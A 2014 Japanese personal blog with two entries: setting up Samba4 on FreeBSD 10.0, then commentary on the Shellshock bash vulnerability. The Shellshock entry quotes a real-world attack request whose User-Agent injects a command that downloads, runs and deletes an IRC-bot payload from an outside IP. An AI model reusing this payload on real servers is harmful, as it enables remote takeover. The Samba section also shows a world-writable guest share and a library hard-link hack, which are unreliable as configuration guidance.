2014-09
(2014-0905)
Samba
FreeBSD 10.0 のサーバーで Samba4 を設定。
最近は貰った Windows 7 の PC を日常使用しているのですが、どうやらこれは Vista からアップグレードしたものらしく、ファイヤーウォールの例外設定をしようとするとエラーになります。 Fixit を使っても、レジストリエディタでも直りません。おかげで ping に応答するようにできないし ftp.exe も使い物にならない (;_;)
そのためサーバーやタブレットとのネットを使ったファイルのやり取りが面倒で、著しく不便なので、妙な回避策ですが、FreeBSD 10.0 のサーバーで Samba4 を動かせば「幾ら何でもファイルのやりとりぐらいはできるだろう、たとえファイヤーウォールの例外設定が腐っていても」と思いました。
インストール
# pkg install samba4
設定
# vi /usr/local/etc/smb4.conf
内容は後述。
起動
/usr/local/etc/rc.d # ./samba_server start
としたが、
install: mkdir : No such file or directory
Performing sanity check on Samba configuration: FAILED
とエラー。まぁ、 FreeBSD では良くある話。
パラメーターのチェック
# /usr/local/bin/samba-tool testparm --suppress-prompt --verbose --configfile=/usr/local/etc/smb4.conf
Traceback (most recent call last):
File "/usr/local/bin/samba-tool", line 33, in <module>
from samba.netcmd.main import cmd_sambatool
File "/usr/local/lib/python2.7/site-packages/samba/__init__.py", line 50, in <module>
from samba._ldb import Ldb as _Ldb
ImportError: Shared object "libgnutls.so.28" not found, required by "libauthkrb5.so"
ふぅむ… libgnutls.so.28 が無い、と。
ライブラリ周りのチェック
/usr/local/lib # ls libgnu*
libgnutls-extra.a libgnutls-openssl.so libgnutlsxx.a
libgnutls-extra.la libgnutls-openssl.so.27 libgnutlsxx.la
libgnutls-extra.so libgnutls.a libgnutlsxx.so
libgnutls-extra.so.26 libgnutls.la libgnutlsxx.so.27
libgnutls-openssl.a libgnutls.so
libgnutls-openssl.la libgnutls.so.26
まぁ、確かに無いな。
邪悪な解決法
「libgnutls.so.28 は無いけど libgnutls.so.26 があるから、ライブラリのバージョンをきちんと上げなくても、ハードリンクを張って誤魔化せば動くかな」と思い
# ln libgnutls.so.26 libgnutls.so.28
とした。再度、パラメーターのチェック。
# /usr/local/bin/samba-tool testparm --verbose --configfile=/usr/local/etc/smb4.conf
Traceback (most recent call last):
File "/usr/local/bin/samba-tool", line 33, in <module>
from samba.netcmd.main import cmd_sambatool
File "/usr/local/lib/python2.7/site-packages/samba/netcmd/main.py", line 24, in <module>
from samba.netcmd.delegation import cmd_delegation
File "/usr/local/lib/python2.7/site-packages/samba/netcmd/delegation.py", line 23, in <module>
from samba import provision
File "/usr/local/lib/python2.7/site-packages/samba/provision/__init__.py", line 46, in <module>
from samba.samba3 import smbd, passdb
ImportError: /usr/local/lib/samba/libsmbd_base.so: Undefined symbol "ippGetValueTag"
相変わらずエラーは出るが、ちょいマシになった模様。
再度、起動
試しにこれで動かして変化を見るかと思い
# /usr/local/etc/rc.d/samba_server start
としたら、
Performing sanity check on Samba configuration: OK
Starting nmbd.
Starting smbd.
Starting winbindd.
動いちゃいました。
smb4.conf
smb4.conf の設定例は…後述のサイトを参考にさせていただき、意味を良く理解せず真似して「動いた〜! もういいや」としたので、妙な所があるかもしれませんが、もしかしたら参考になるかもしれないと思い、恥を偲んで紹介します。
[global]
workgroup = WORKGROUP
server string = FreeBSD
netbios name = freebsd
hosts allow = 192.168.10.
hosts deny = all
printing = bsd
security = user
passdb backend = tdbsam
guest account = nobody
map to guest = Bad User
[public]
comment = Public Share
path = /usr/local/public
read only = No
create mask = 0777
directory mask = 0777
guest only = Yes
guest ok = Yes
browseable = yes
[tmp]
comment = tmp
path = /tmp
public = yes
writable = yes
printable = no
正しい設定をするには man smb.conf して内容を熟読ください。
参考にさせていただいたリンク
どうもありがとうございます。
(2014-0929)
shellshock
CVE-2014-6271。bash に脆弱性。著しく悪用し易い。シェルだけあって任意コマンドが実行可能。セキュリティホール memo のが詳しいが、NHK でも報道されるほど。閲覧でウイルス感染も「bash」に重大欠陥ですと。う〜ん、、、NHK に脆弱性を理解するのは無理か。ぜんぜん、理解しないで報道しているな。閲覧しなくてもヤラれるので。bash脆弱性「ShellShock」を利用した攻撃を確認 - トレンドマイクロや危なすぎるBashの脆弱性「Shellshock」、深刻な事態になる前に対策をは、理解して報道している。
くりす研さんのブログ、bashの脆弱性がヤバすぎる件も参考になる。
セキュリティ関連団体からのアナウンス
最悪…
SANS
SANS のアナウンスがアテになるので紹介。
サンプルコード
リモートから HTTP 経由で攻撃する方法の説明 (SANS の Why We Have Moved to InfoCon:Yellow より)
GET /cgi-bin/test.sh HTTP/1.0
Host: [host ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*"
ここに ec.z は IRC bot を起動する悪意ある perl スクリプトだそうな。
Windows のコマンドプロンプト等で telnet [host ip address] 80 とするだけでリモートから Web サーバーをヤレる (リモートからプログラムをダウンロードさせて、実行させられる) のか…
FreeBSD の場合
念のため、手元の FreeBSD でテストすると
$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'
bash: not found
となった。よって私の環境では大丈夫だった。
FreeBSD の sh は bash ではなく Ash (Almquist Shell) なようだ。もっとも、ports で bash を入れる事も可能なので、中には入れている人もいるかもしれないが、FreeBSD としては Security Advisories は出ていない。FreeBSD の問題じゃないし、デフォルトで入っているわけではないので、ports の方で対応されている。
本家 UNIX の sh では30年以上前に修正されていた
Norman Wilson 氏の Twitter の
CVE-2014-6271 looks like a variant of a problem we fixed ~30 years ago in Research UNIX sh(1). There are no new bugs in the universe.
というコメントは、感慨深いですね。人類は過去から教訓を得る得るには限度がある、という事か。